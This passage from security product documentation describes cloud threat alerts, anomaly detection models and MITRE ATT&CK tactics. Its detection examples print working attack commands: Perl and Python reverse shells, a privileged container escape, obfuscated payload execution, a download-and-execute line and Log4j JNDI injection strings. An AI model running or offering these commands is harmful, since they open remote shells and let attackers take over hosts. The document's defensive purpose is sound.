  - The largest amount of data transfer
  - The most connections
- Monitor the connections, data transfer and total connections for individual hosts and inspect variations.
- Limit open ports. To maximize the number of blocked ports around critical hosts, break networks down into smaller networks (network segmentation). Make hosts accessing private networks and critical systems pass through a network with broader rules to networks with more restricted access. When malware scans for open ports, correctly configured traffic logs will include invalid access attempts.

- Configure network firewalls on the perimeter of networks to block unnecessary ports between internal and external networks and between network segments.
- Block access between individual hosts on the network by installing a host-based firewall. Create rules that only allow the specific access needed by each host.
- Monitor traffic sent to or from unexpected locations, abnormal network packet sizes, or improperly formed network requests.

Outbound Connection To a Bad External IP Address

This alert occurs when Lacework FortiCNAPP detects connections made to a known bad external IP address.

Why this alert is important

Outbound connections to bad external IP addresses can indicate a potential security breach, such as a malware infection, a command-and-control (C&C) communication, or data exfiltration. For example, a compromised computer within an organization may try to communicate with a C&C server hosted on a known bad IP address to receive instructions or send stolen data.

Investigation

Detecting outbound connections to bad IP addresses can be done using a few different methods, including:

- *Network monitoring tools*: Network monitoring tools can be used to track all outgoing traffic from your network and alert you when connections are made to known bad IP addresses. These tools can also help you analyze traffic patterns and identify potential security threats.
- *Firewall logs*: Firewall logs can provide information on which IP addresses are being blocked and which are being allowed through. By reviewing firewall logs, you can identify outbound connections to known bad IP addresses and take action to block them.
- *DNS logs*: DNS logs can also provide valuable information on outbound connections to bad IP addresses. By analyzing DNS logs, you can identify patterns of suspicious activity and take steps to block those connections.
- *Intrusion detection systems*: Intrusion detection systems can be used to monitor outbound traffic and detect attempts to connect to known bad IP addresses. These systems can also help you identify patterns of suspicious activity and take steps to block those connections.

Resolution

Follow these recommended steps to prevent outbound connections to a bad IP address:

- *Identify the source*: Determine which device or user made the outbound connection to the bad IP address. This can help you narrow down the scope of the problem and prevent it from happening again in the future.
- *Block the connection*: Immediately block the connection to the bad IP address to prevent any further communication between your network and the malicious IP. You can do this by configuring your firewall or using other network security tools.

- *Conduct a security scan*: Conduct a security scan of the affected device to detect any malware or viruses that may have caused the outbound connection to the bad IP address. Use an up-to-date antivirus software and ensure that all security patches are applied.
- *Review security policies*: Review your organization's security policies and procedures to ensure that they are up to date and effective in preventing similar incidents in the future. Consider implementing additional security measures such as network segmentation, data loss prevention tools, and user training.

Outbound Connection To a Bad External URL

This alert occurs when Lacework FortiCNAPP detects connections made to a known bad URL.

Why this alert is important

Outbound connections to bad URLs can indicate a compromised application or malware. Some examples of bad external URLs include:

- *Phishing websites*: Websites designed to steal sensitive information such as login credentials or credit card details.
- *Malware distribution sites*: Websites that distribute malware, viruses, or other malicious software.
- *Command-and-control servers*: Servers used by hackers to control compromised devices and carry out cyberattacks.
- *Adult or gambling sites*: Sites that are inappropriate for workplace use and may expose your organization to legal or reputational risks.

Investigation

Detecting outbound connections to bad external URLs is an important aspect of network security. Here are some ways you can detect these types of connections:

- *Use web filtering software*: Web filtering software can be used to block access to known malicious websites and prevent users from connecting to bad external URLs. These tools can also help you monitor web traffic and identify any suspicious activity.
- *Use network monitoring tools*: Network monitoring tools can be used to track all outgoing traffic from your network and alert you when connections are made to known bad external URLs. These tools can also help you analyze traffic patterns and identify potential security threats.
- *Monitor firewall logs*: Firewall logs can provide information on which IP addresses are being blocked and which are being allowed through. By reviewing firewall logs, you can identify outbound connections to known bad external URLs and take action to block them.
- *Conduct security audits*: Conduct regular security audits of your network to identify any vulnerabilities that may be exploited by attackers. These audits can help you identify any unauthorized connections to bad external URLs and take steps to prevent them from happening in the future.
- *Use antivirus software*: Antivirus software can help detect and prevent malware infections that may be causing outbound connections to bad external URLs.

Resolution

Follow these recommended steps to prevent outbound connections to a bad URL:

- *Identify the source*: Determine which device or user made the outbound connection to the bad external URL. This can help you narrow down the scope of the problem and prevent it from happening again in the future.
- *Block the connection*: Immediately block the connection to the bad external URL to prevent any further communication between your network and the malicious website. You can do this by configuring your web filtering software, firewall, or other network security tools.
- *Conduct a security scan*: Conduct a security scan of the affected device to detect any malware or viruses that may have caused the outbound connection to the bad external URL. Use an up-to-date antivirus software and ensure that all security patches are applied.
- *Review security policies*: Review your organization's security policies and procedures to ensure that they are up to date and effective in preventing similar incidents in the future. Consider implementing additional security measures such as network segmentation, data loss prevention tools, and user training.
- *Educate users*: Educate your employees on safe browsing practices and the risks associated with connecting to bad external URLs. Encourage them to report any suspicious activity they may encounter while using the internet.

AWS Account Accessed From Known Bad IP Address With New AWS Event Type

This alert occurs when Lacework FortiCNAPP detects a login from a known malicious source location to the AWS CallType.

Why this alert is important

This alert indicates the presence of one of the following events where the API request was successful:

Event Type	Description
AwsApiCall	An API was called.
AwsApiCall MFA	An API was called with MFA.
AwsServiceEvent	The service generated an event related to your trail. For example, this can occur when another account makes a call with a resource that you own.
AwsConsoleAction	An action was taken in the console that was not an API call.
AwsConsoleSignIn	A user in your account (root, IAM, federated, SAML, or SwitchRole) signed in to the AWS Management Console.

Investigation

Conduct an AWS security audit, including:

- Review your AWS account credentials.
- Review your IAM users.
- Review your IAM groups.
- Review your IAM roles.
- Review your IAM providers for SAML and OpenID Connect (OIDC).
- If you have created a mobile app that makes requests to AWS, review your mobile apps.
- Review your Amazon EC2 security configuration.
- Review AWS policies in other services.

Check the AWS Management Console for any unusual new resources or a resource in a new AWS region.

Resolution

The following are resolutions that you can implement:

- Avoid using the root user for day-to-day operations.
- Use roles to delegate permissions.
- Grant least privilege.
- Use AWS-managed policies when adding permissions to your IAM identities.
- Validate your policies.
- Use customer-managed policies instead of inline policies.
- Use access levels to review IAM permissions.
- Configure a strong password policy for your users.
- Enable MFA.
- Use roles for applications that run on Amazon EC2 instances.
- Rotate credentials regularly.
- Remove unnecessary credentials.
- Use policy conditions for extra security.
- Monitor activity in your AWS account.

Login From New Bad Source Using Calltype

This alert occurs when Lacework FortiCNAPP detects a login from a new malicious source location to the AWS CallType.

Why this alert is important

This alert indicates the presence of one of the following alerts, where the API request was successful:

Alert Type	Description
AwsApiCall	An API was called.
AwsApiCall MFA	An API was called with MFA.
AwsServiceEvent	The service generated an event related to your trail. For example, this can occur when another account makes a call with a resource that you own.
AwsConsoleAction	An action was taken in the console that was not an API call.
AwsConsoleSignIn	A user in your account (root, IAM, federated, SAML, or SwitchRole) signed in to the AWS Management Console.

Investigation

Conduct an AWS security audit, including:

- Review your AWS account credentials.
- Review your IAM users.
- Review your IAM groups.
- Review your IAM roles.
- Review your IAM providers for SAML and OpenID Connect (OIDC).
- If you have created a mobile app that makes requests to AWS, review your mobile apps.
- Review your Amazon EC2 security configuration.
- Review AWS policies in other services.

Check the AWS Management Console for any unusual new resources or a resource in a new AWS region.

Resolution

The following are resolutions that you can implement:

- Avoid using the root user for day-to-day operations.
- Use roles to delegate permissions.
- Grant least privilege.
- Use AWS-managed policies when adding permissions to your IAM identities.
- Validate your policies.
- Use customer-managed policies instead of inline policies.
- Use access levels to review IAM permissions.
- Configure a strong password policy for your users.
- Enable MFA.
- Use roles for applications that run on Amazon EC2 instances.
- Rotate credentials regularly.
- Remove unnecessary credentials.
- Use policy conditions for extra security.
- Monitor activity in your AWS account.

New Azure User Logged In From Bad Source

This alert occurs when Lacework FortiCNAPP detects a new Azure user has logged in from a known bad source for the first time.

Why this alert is important

This detection indicates sign-in from a malicious IP address. An IP address is considered malicious based on the high failure rates because of invalid credentials received from this IP address or other IP reputation sources.

Investigation

Login from a bad source indicates potential unauthorized access or a compromise of the user's credentials. If an attacker gains access to a user's account, they can potentially access sensitive information or take malicious actions within your organization's Azure environment.

Here are some inquiries you can leverage to investigate:

1. Confirm if the IP address shows suspicious behavior in your environment.
2. Does the IP generate a high number of failures for a user or set of users in your directory?
3. Is the traffic of the IP coming from an unexpected protocol or application, for example Exchange legacy protocols?
4. If the IP address corresponds to a cloud service provider, rule out that there are no legitimate enterprise applications running from the same IP.

Resolution

After detecting anomalous behavior, we recommend the following resolutions:

- *Disable the user's account*: If the login attempt was made using compromised credentials, immediately disable the user's account to prevent any further unauthorized access.
- *Reset the user's password*: In case the user's credentials were compromised, change the user's password immediately to prevent further unauthorized access.
- *Verify the user's identity*: Contact the user and verify their identity to ensure that they are the legitimate user of the account. If the user is unable to verify their identity, take additional remediation steps such as resetting the account or revoking access to resources.
- *Investigate the source of the bad login attempt*: Identify the source of the bad login attempt by reviewing the IP address, geographic location, or other information associated with the login attempt. Use threat intelligence sources to determine whether the source is associated with malicious activity.
- *Implement additional security controls*: Depending on the results of the investigation, consider implementing additional security controls such as multi-factor authentication or conditional access policies to prevent future unauthorized access attempts.
- *Review access controls*: Review the access controls of the user's account and the Azure resource they accessed. Review the access policies, resource groups, and network settings to ensure they align with your organization's security and compliance requirements.

- *Monitor for further suspicious activity*: Monitor the user's account and the Azure resource for any further suspicious activity to ensure that the remediation steps were effective.

GCP User Logged In From Bad Source

This alert occurs when Lacework FortiCNAPP detects a user has logged in from a known bad source.

Why this alert is important

This detection indicates sign-in from a malicious IP address. An IP address is considered malicious based on high failure rates because of invalid credentials received from this IP address or other IP reputation sources.

Investigation

Login from a bad source indicates potential unauthorized access or a compromise of the user's credentials. If an attacker gains access to a user's account, they can potentially access sensitive information or take malicious actions within your organization's Google Cloud environment.

Here are some inquiries you can leverage to investigate:

1. Confirm if the IP address shows suspicious behavior in your environment.
2. What service or resource was accessed from this IP address?
3. Are there any logs or audit trails of the actions taken from this IP address?
4. Was multi-factor authentication enabled for the user account that was used to access Google Cloud from this IP address?
5. Are there any other user accounts that have been accessed from this IP address?
6. Has this IP address been used to access other services or resources within my organization?
7. Are there other indications of malicious activity or compromise within your Google Cloud environment?

Resolution

To prevent unauthorized access to your Google Cloud environment from a bad source, implement the following:

- Configure IP allowlisting to allow access only from specific IP addresses or IP address ranges so that only authorized users can access your Google Cloud resources.
- Enable multi-factor authentication (MFA) for your Google Cloud account. This adds an extra layer of security to your account, making it more difficult for an attacker to gain access even if they have your login credentials.
- Use a virtual private network (VPN) to connect to your Google Cloud resources. A VPN creates a secure, encrypted connection between your device and your Google Cloud resources, which helps protect against unauthorized access.
- Implement strong password policies.
- Regularly monitor and review access logs for your Google Cloud resources to detect unauthorized access attempts.

Malicious File

This alert occurs when Lacework FortiCNAPP detects a malicious or potentially harmful file in your system. Malicious files can include viruses, trojans, worms, spyware, adware, ransomware, and other types of malware.

This alert could be triggered by an antivirus program or other security software that detects the file's signature or behavior as suspicious. Lacework FortiCNAPP may also flag a file as malicious if it has been downloaded from an untrusted source or if it attempts to modify system files or settings without permission.

Why this alert is important

Detecting malicious files in a system is vital for several reasons:

- *Protecting system integrity*: Malicious files can harm the system by damaging files, deleting critical data, or disrupting system operations. Detecting such files can help prevent such harm.
- *Preventing data theft*: Malware can steal sensitive data, such as personal information, financial data, and business secrets. Detecting malicious files can help prevent such theft.
- *Avoiding system downtime*: Malware can cause system crashes, slow down the system, or overload it with network traffic. Detecting such malware can help prevent system downtime, which can be costly for businesses.

Investigation

Investigating a malicious file in your system can be a complex process, but here are some general steps you can follow:

1. Isolate the file and prevent it from spreading to other systems. Quarantine the affected system or disconnect it from the network.
2. Determine the file type (e.g., executable, script, document, etc.) and its purpose. You can use antivirus software, sandboxes, or other malware analysis tools to help identify the file type and its behavior.
3. Conduct a thorough file analysis, examining the file header, strings, resources, imports, and other characteristics. You can also use static and dynamic analysis techniques to identify the file's behavior, such as interactions with the operating system and network.
4. Assess the impact of the file on the affected system and the network. This can include identifying any changes to the system, network connections, and processes.

Resolution

Resolving a malicious file involves taking the following steps:

1. Identify the nature of the threat to help determine the best way to remove the threat. You can do this by running a virus scan or malware scan using a reputable antivirus or anti-malware program.
2. Remove the file using your antivirus or anti-malware program. If the program cannot remove the threat, you may need to use a specialized removal tool or seek assistance from a professional.
3. Malware can often cause damage to your system, such as changing settings, deleting files, or corrupting data. You may need to repair any damage caused by the threat, such as restoring files from a backup or repairing system files.

4. Update your security software and operating system to protect your system against future threats.

Vulnerability alerts reference

This section provides information about the availablevulnerability alerts.

For each documented alert, the following information is provided:

- A summary of the alert.
- Why the alert is important.
- Information about investigating the event that triggered the alert.
- Information about how to resolve the alert.

New Vulnerable Application

This alert occurs when Lacework FortiCNAPP detects that your cloud environment has executed software with a critical vulnerability (specifically, the Java Log4J vulnerability). This software may be a container image from docker.io running on a cluster or a software binary on a host with identified Log4J Java class files with vulnerabilities.

Given the severity of this vulnerability, Lacework FortiCNAPP will provide continuous alerts whenever this software is executed, regardless of frequency, with a maximum of one alert per 24 hours.

Why this alert is important

The Log4J vulnerability poses significant challenges when it comes to mitigation due to the reasons below:

- It's difficult to determine whether or how it can be exploited.
- There are limited effective measures to address it.

It is crucial to treat any software executing in your cloud environment that contains the Log4J vulnerability as a critical risk and prioritize its remediation.

Why this might be just fine

Under certain circumstances, the risk of running Log4J-vulnerable software can be contained. For example, it can be isolated within a sandbox environment by utilizing tools like gVisor; or have strong network egress controls implemented by the DevOps team in collaboration with the security team. These security measures, which restrict DNS requests and network connections, can mitigate the risk.

However, it's crucial to prioritize patching or removing the Log4J-vulnerable software as a more reliable approach, as security controls may have gaps or be inadvertently disabled.

Investigation

When addressing critical vulnerabilities such as Log4J, initiating the process of updating software can be challenging and involve multiple stakeholders. To facilitate effective communication, it is essential to establish a forum that includes relevant stakeholders from both the DevOps teams and the risk/legal teams. This forum serves as a platform for sharing information and coordinating efforts.

As an initial step in this communication forum, the security team should gather pertinent details about the vulnerable software. This information can be obtained from the attack path analysis or its analysis of active vulnerabilities, which determines whether the Log4J software is present but not actively utilized. Armed with this information, the security team can utilize the re-alerting feature on the vulnerability to periodically remind the communication forum (such as on a weekly basis) that the issue still requires attention.

Establishing effective communication channels and leveraging Lacework FortiCNAPP's capabilities for gathering insights and issuing reminders can streamline the process of addressing critical vulnerabilities and ensure that the issue remains at the forefront of stakeholders' attention.

Resolution

To resolve critical vulnerabilities such as Log4J, follow the steps below:

- Apply the necessary patches or updates provided by Log4J or the relevant software vendors. Ensure all affected systems, applications, libraries, and dependencies are updated to versions that have addressed the vulnerability.
- Continue to monitor your environment for any signs of exploit attempts or unusual activities related to Log4J.
- Consult with security professionals or external experts to ensure a comprehensive and effective resolution of the Log4J vulnerability tailored to your specific environment and requirements.

Appendix A - Anomaly detection models

Lacework FortiCNAPP uses the following anomaly detection methods to address common adversarial techniques.

- Active scanning
- Anomalous and suspicious host commands
- Anomalous User Agent
- Compromised AWS storage: Substantial increase in sensitive storage API calls
- Compromised AWS storage: Unusual access observed
- Domain generation algorithm (DGA)
- Hostname command injection
- SSH brute force
- Time-series

Active scanning

The active scanning model identifies when a host within your environment initiates a substantial number of outbound port scans or IP scans. Red teams and malicious actors (bad guys) can use active scanning for reconnaissance and identifying vulnerabilities in a target network or system. Identifying active scanning behavior allows you to detect potential security threats before they escalate into more advanced attacks.

Anomalous and suspicious host commands

This detection uses machine-learing models to recognize commands that meet both of the following criteria:

- They differ significantly from those previously executed in the environment.
- They exhibit characteristics that are suggestive of malicious activity.

This detection looks for suspicious patterns in both Linux and Windows command line strings, identifying various types of suspicious behavior that can easily be missed by regular-expression-based detections.

Detections produced by this model will appear as *Observations* within Composite alerts:

- The short description is *Anomalous host commands detected*.
- The observation type is *host_anomalous_command*.

These detections augment composite alerts triggered by stronger signals or trigger composite alerts on their own. In the absence of stronger signals, these alerts will appear as *Suspicious Activity on Host* detections with *Medium* severity.

These processes have been enriched with the command line strings of their parent processes. These command lines can be seen by clicking on the process node at the end of the *ran anomalous process* edge in the *Intrusion Graph*.

Example malicious commands detected by this model:

- Elaborate reverse shell (Perl example):

```
sudo perl -e use Socket;$i="<REDACTED_IP>";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname
("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open
(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
```

- Elaborate reverse shell (Python example):

```
python -c a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect
(("<REDACTED_IP>",4444));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")
```

- Container escape and host takeover:

```
./docker run -it -v /:/host --privileged osexp2000/ubuntu-with-utils
```

- C2 attack script with keep-alive:

```
/bin/sh -c /tmp/attack '{"port": "4444", "ip": "<REDACTED_IP>", "procedure": "bash196"}' &&
tail -f /dev/null
```

- Malicious payload obfuscation (`pack` example)

```
/usr/bin/git archive --format=zip --prefix=<REDACTED> --exec=`perl -e 'system(pack
(qq,H152,,qq,<REDACTED_PAYLOAD>,))'` --remote=<REDACTED>/ --
```

- Malicious payload obfuscation (`base64` and ZIP example with privilege escalation):
-

```
sudo -u root -H -- /usr/bin/python -c import codecs,os,sys;_=codecs.decode;exec(_(_
("<REDACTED_PAYLOAD>".encode(),"base64"),"zip"))
```

- Suspicious download and execute from `/tmp`:

```
/bin/sh -c wget http://<REDACTED_PUBLIC_IP>:8000/tmp && chmod 777 tmp && ./tmp
```

Anomalous User Agent

This model is a machine learning-based anomaly detection designed to identify and classify anomalous user agents in web traffic.

This model detects and categorizes user agents that are likely to be malicious or anomalous. It analyzes patterns and characteristics of known malicious user agents and identifies similarities with new, unseen user agents. The model uses a combination of statistical modeling and machine learning algorithms to classify user agents into one of three categories:

- Malicious: User agents that are intentionally designed to evade detection or cause harm.
- Anomalous: User agents that exhibit unusual behavior or characteristics, but may not necessarily be malicious.
- Normal: User agents that follow standard patterns and do not exhibit anomalous behavior.

The model works with the composite alert system that aggregates and analyzes data from various sources, such as network traffic, logs, and sensors to provide real-time alerts and notifications when an anomalous user agent is detected, enabling your security teams to respond quickly and effectively to potential threats.

Compromised AWS storage: Substantial increase in sensitive storage API calls

This detection indicates an unusual spike in AWS storage API calls by a specific identity, representing a significant deviation from their normal usage patterns.

The system has identified that an AWS user account has made substantially more calls to sensitive storage APIs (such as S3, EBS, or EFS operations) than their historical baseline would predict. This behavior could indicate legitimate business activity like data migration or backup operations, but it may also signal malicious activity such as data discovery, collection, or exfiltration attempts.

Attackers often perform reconnaissance on cloud storage resources to identify sensitive data repositories, then rapidly access or download large amounts of data once they gain unauthorized access. This activity most closely aligns with the attacker phases of Discovery and Collection (MITRE ATT&CK tactics).

This detection focuses on the identity making the calls as the primary concern, with the specific APIs and services providing important context about what storage resources are being accessed. Understanding whether this represents authorized activity or potential data theft requires immediate investigation of the user's legitimacy, the nature of the accessed resources, and whether appropriate permissions were in place.

This detection may trigger false positives in the following cases:

- During legitimate business activities such as scheduled data backups, large-scale data migrations, disaster recovery testing, or new application deployments that require bulk storage operations.
- Users performing authorized data analysis, ETL processes, or content management tasks may also generate storage API spikes.
- Automated systems, CI/CD pipelines, and monitoring tools that periodically access storage resources could cause anomalous patterns if their schedules change or if they encounter errors requiring retries.

Compromised AWS storage: Unusual access observed

Storage resources in AWS (such as S3 buckets, EBS volumes, or EFS file systems) often contain sensitive data, making them attractive targets for attackers.

This detection indicates unusual storage-related activity in your AWS environment by an identity that deviates from normal behavior patterns.

The detection triggers when a user performs storage API operations (such as creating or deleting resources) that they have never done before, suggesting potential unauthorized access or malicious activity. This activity most closely aligns with the attacker phases of Discovery and Collection (MITRE ATT&CK tactics). An attacker who has compromised AWS credentials may be exploring available storage resources to identify valuable data for exfiltration. The creation of new storage resources could indicate data staging for exfiltration, while deletion of resources might represent destructive actions or attempts to cover tracks.

The detection focuses on first-time behaviors, which are statistically more likely to represent either legitimate but unusual administrative actions or malicious activity by an unauthorized party.

This detection may trigger false positives in the following cases:

- When legitimate users perform new administrative tasks.
- Onboarding of new team members with expanded responsibilities.
- During legitimate disaster recovery activities.
- Application service accounts or automation tools that are granted new permissions or deployed to new environments may trigger this detection.

To reduce false positives, consider maintaining an inventory of expected administrative activities and implementing a process for pre-approving unusual but legitimate storage operations.

Domain generation algorithm (DGA)

The DGA model recognizes the patterns or characteristics in domain names generated by domain generation algorithms. DGA domains are often used by malware as command and control communication channels, so it is important to identify the behavior where the host has made excessive DNS requests to DGA domains. Such behavior might indicate a malware infection or compromised host.

Hostname command injection

This method uses machine learning to detect hostname command injection attempts in both DNS query hostnames and usernames from successful and failed login attempts. This model distinguishes malicious payloads from the background noise of benign and malformed hostnames, even when they appear very similar.

Example detections:

- Percent-encoded URL-style payloads:

```
%24%7burl:UTF-8:https://35.160.149.56.x-forwarded-for.d2i3b97tmjpkau3cqusgzt59jaisow5f9.i-sh.detectors-testing.com%7d
```

- Log4j / JNDI injection payloads:

```
%24%7Bjndi%3Aldap%3A//127.0.0.1%23.%24%7BhostName%7D.xforwardedfor.d4a519p8n9i11poqj8hgomy51sqfseapq.oast.online%7D.olo-service-v2-prod.svc.cluster.local
```

- Other hostname-based injections, including SSRF and SQL injection patterns.

SSH brute force

The SSH brute force model identifies when a host, either residing within your environment or equipped with an agent, begins to issue an unusually high number of unsuccessful login attempts. Having this model aids in the early identification of a security incident involving a compromised host. This understanding is critical for preserving the

security and reliability of systems and networks by allowing for proactive actions against unauthorized access and the risk of data breaches.

Time-series

Time series analysis uses a sequence of data points from the past to predict the value of the next data point. Anomalies are detected when the actual observed value deviates significantly from the predicted value.

You can use time series analysis to detect changes in activity frequency or volume over time. This type of anomaly could be indicative of discovery activity (such as probing an AWS environment or enumerating permissions and resources), misconfigurations (such as incorrect request parameters in an automated script), or coinminer attacks (such as a sudden increase in GPU instances).

The following alerts use time-series analysis:

- AWS IAM API Error Spike on page 45
- AWS GPU Instance Usage Spike on page 44

Appendix B - MITRE ATT&CK tactics

This article outlines the MITRE ATT&CK tactics and techniques that Lacework FortiCNAPP can detect, which are frequently used by cyber adversaries throughout different stages of a cyberattack.

When viewing the Alert page, you can filter the alert list to display only alerts that employed the same MITRE ATT&CK tactics and techniques. For more information, refer to Built-in Filters.

Initial Access Tactic

This tactic involves techniques that utilize different entry vectors to gain an initial foothold within a network. These techniques include targeted spearphishing and exploiting weaknesses in public-facing web servers. Footholds gained through initial access may permit continued access, such as using valid accounts and external remote services, or may be limited-use due to changing passwords.

For the list of common techniques used by adversaries, refer to Initial Access Tactic.

Execution Tactic

This tactic involves techniques that can run adversary-controlled code on local or remote systems. These techniques are combined with other tactics to achieve broader goals, like network exploration or data theft. For instance, using a remote access tool to execute a PowerShell script for remote system discovery.

For the list of common techniques used by adversaries, refer to Execution Tactic.

Persistence Tactic

This tactic involves techniques that can enable adversaries to maintain system access despite restarts, credential changes, or interruptions. This involves actions like replacing legitimate code or adding startup code to retain their foothold on the system.

For the list of common techniques used by adversaries, refer to Persistence Tactic.

Privilege Escalation Tactic

This tactic imvolves techniques that empower adversaries to acquire higher-level permissions on a system or network. While they may initially enter and explore with unprivileged access, elevated permissions are essential to achieve their objectives. Common approaches involve exploiting system weaknesses, misconfigurations, and vulnerabilities.

Examples of elevated access include:

- SYSTEM/root level
- local administrator
- user account with admin-like access
- user accounts with specific system or functional access

These techniques may overlap with persistence techniques, as OS features allowing persistence can execute with elevated privileges.

For the list of common techniques used by adversaries, refer to Privilege Escalation Tactic.

Defense Evasion Tactic

This tactic involves techniques that are used to avoid detection during compromise. Methods include disabling security software, obfuscating data/scripts, and leveraging trusted processes to hide malware. Other tactics' techniques are cross-listed if they aid in subverting defenses.

For the list of common techniques used by adversaries, refer to Defense Evasion Tactic.

Credential Access Tactic

This tactic involves techniques that are for stealing credentials like account names and passwords, using methods such as keylogging or credential dumping. Legitimate credentials provide adversaries access, increased stealth, and the ability to create more accounts to achieve their goals.

For the list of common techniques used by adversaries, refer to Credential Access Tactic.

Discovery Tactic

This tactic involves techniques that can be used to enable adversaries to gain knowledge about the system and network. They observe and orient themselves before deciding their actions and explore controllable elements for potential benefits. Native OS tools are often used for post-compromise information gathering.

For the list of common techniques used by adversaries, refer to Discovery Tactic.

Lateral Movement Tactic

This tactic involves techniques that are used to enable adversaries to control remote systems on a network, exploring and pivoting to reach their objectives. They may use remote access tools or legitimate credentials with native network and OS tools for stealthier movement.

For the list of common techniques used by adversaries, refer to Lateral Movement Tactic.

Collection Tactic

This tactic involves techniques that adversaries use to gather relevant information to advance their objectives. Typically, the next step is data exfiltration. Common target sources include drives, browsers, audio, video, and email. Methods include capturing screenshots and keyboard input.

For the list of common techniques used by adversaries, refer to Collection Tactic.

Exfiltration Tactic

This tactic involves techniques that adversaries use to steal data from your network. After collecting data, they package it to avoid detection, often using compression and encryption. Data is transferred via their command and control channel or an alternate one, sometimes with size limits on transmission.

For the list of common techniques used by adversaries, refer to Exfiltration Tactic.

Command and Control Tactic

This tactic involves techniques that adversaries use to communicate with controlled systems within a victim network. They often mimic normal traffic to evade detection, adapting their approach based on the network structure and defenses.

For the list of common techniques used by adversaries, refer to Command and Control Tactic.

Impact Tactic

This tactic involves techniques that is aimed to disrupt availability and compromise integrity by manipulating business and operational processes. Methods can involve data destruction or tampering. In some cases, altered processes may

appear normal but serve the adversaries' goals. These techniques may be used to achieve their objectives or conceal a confidentiality breach.

For the list of common techniques used by adversaries, refer to Impact Tactic.

Resource Development Tactic

This tactic involves techniques that adversaries use to create, purchase, or compromise resources to support targeting. These resources include infrastructure, accounts, or capabilities, and they aid various phases of the adversary lifecycle, such as command and control with purchased domains, initial access through email accounts, or defense evasion with stolen code signing certificates.

For the list of common techniques used by adversaries, refer to Resource Development Tactic.

Reconnaissance Tactic

This tactic involves techniques where adversaries gather information actively or passively to support targeting. This includes details of the victim organization, infrastructure, or personnel. The information is leveraged in different phases of the adversary lifecycle, such as planning initial access, prioritizing post-compromise objectives, and driving further reconnaissance efforts.

For the list of common techniques used by adversaries, refer to Reconnaissance Development Tactic.

www.fortinet.com